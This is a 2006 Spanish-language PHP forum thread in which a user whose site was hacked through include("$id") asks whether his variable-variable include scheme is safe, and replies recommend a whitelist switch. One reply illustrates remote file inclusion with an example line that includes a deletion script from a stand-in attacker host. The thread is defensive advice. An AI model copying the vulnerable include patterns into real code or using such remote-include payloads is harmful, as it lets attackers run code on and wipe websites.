Foros del Web » Programando para Internet » PHP »

proteger include, es esta una buena opcion?

Estas en el tema de proteger include, es esta una buena opcion? en el foro de PHP en Foros del Web. Hace tiempo hice una web con un include a secas para insertar dentro de mi web otros enlaces include("$id"); Esto provoco un gran error y ...
  #1 (permalink)  
Antiguo 13/01/2006, 10:10
 
Fecha de Ingreso: febrero-2003
Mensajes: 753
Antigüedad: 14 años, 10 meses
Puntos: 2
proteger include, es esta una buena opcion?

Hace tiempo hice una web con un include a secas para insertar dentro de mi web otros enlaces

include("$id");

Esto provoco un gran error y muchos haker entraban y no hacian cosas muy buenas en mi web. Eso hizo quitar el include.

ahora lo quiero volver a poner y pensado en este sistema:

Código PHP:
<?
$zona1
="link1.php";
$zona2="link2.php";
if (
$id == "") {
include (
'inicio.php');
} else {
$incluir=$$id;
include (
$incluir);
}
?>
Este sistema que ideado tambien puede procar esas entradas de haker? si es asi que me recomiendan

saludos
  #2 (permalink)  
Antiguo 13/01/2006, 11:05
Avatar de Seppo  
Fecha de Ingreso: marzo-2005
Ubicación: Buenos Aires, Argentina
Mensajes: 1.284
Antigüedad: 12 años, 9 meses
Puntos: 17
Yo creo q ese sistema es tb inseguro...
Deberías numerar los sitios que permites incluir...

Código PHP:
switch ($id) {
  case 
"opcion1":
    include(
"incluir1.php");
    break;

  case 
"opcion2":
    include(
"incluir2.php");
    break;

  default:
    include(
"inicio.php");
    break; 
además de la forma q pusiste pasas por GET la ruta del archivo a incluir... lo cual se ve "feo", con el switch q propuse podés pasar "opcion1" y que el código lo traduzca a la página

Última edición por Seppo; 13/01/2006 a las 11:26
  #3 (permalink)  
Antiguo 13/01/2006, 11:13
 
Fecha de Ingreso: febrero-2003
Mensajes: 753
Antigüedad: 14 años, 10 meses
Puntos: 2
no se exactamente como funciona el switch como podria quedar el codigo?

saludos
  #4 (permalink)  
Antiguo 13/01/2006, 11:27
Avatar de Seppo  
Fecha de Ingreso: marzo-2005
Ubicación: Buenos Aires, Argentina
Mensajes: 1.284
Antigüedad: 12 años, 9 meses
Puntos: 17
switch evita una cadena de elseif
lo que hace es comparar el valor de la variable (en el ejemplo, $id), con todos los valores de case, y al entrar a uno se ejecuta hasta el "break;", si no encuentra ningún valor, entra a default

El código podría quedar como lo pasé, solo que en $id en vez de enviar la dirección de la página, deberías poner un valor para que lo busque en el switch (en el ejemplo, "opcion1" u "opcion2")
  #5 (permalink)  
Antiguo 13/01/2006, 11:46
 
Fecha de Ingreso: enero-2006
Ubicación: Buenos Aires, Argentina
Mensajes: 299
Antigüedad: 11 años, 11 meses
Puntos: 5
Te conviene hacer como te dijo Seppo. Y nunca, poner esto:

include($id);

Especialmente, si ese valor llega por un formulario o si tenés register_globals On.

Suponete que lo ponés así. Alguien podría escribir en la barra del navegador http://www.tudominio.com/tuscript.ph...orrar_todo.php

Tu script quedaría:

include("http://www.dominio-hacker.com/borrar_todo.php");

O sea, estarías ejecutando un código que alguien armó y colgó en su servidor para borrarte todo el sitio.

Tené en cuenta que con include/requiere estás ejectuando codígo en tu servidor. Y puede venir de cualquier lado, si no tomás algunas precauciones.

Suerte
Califa
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 12:14.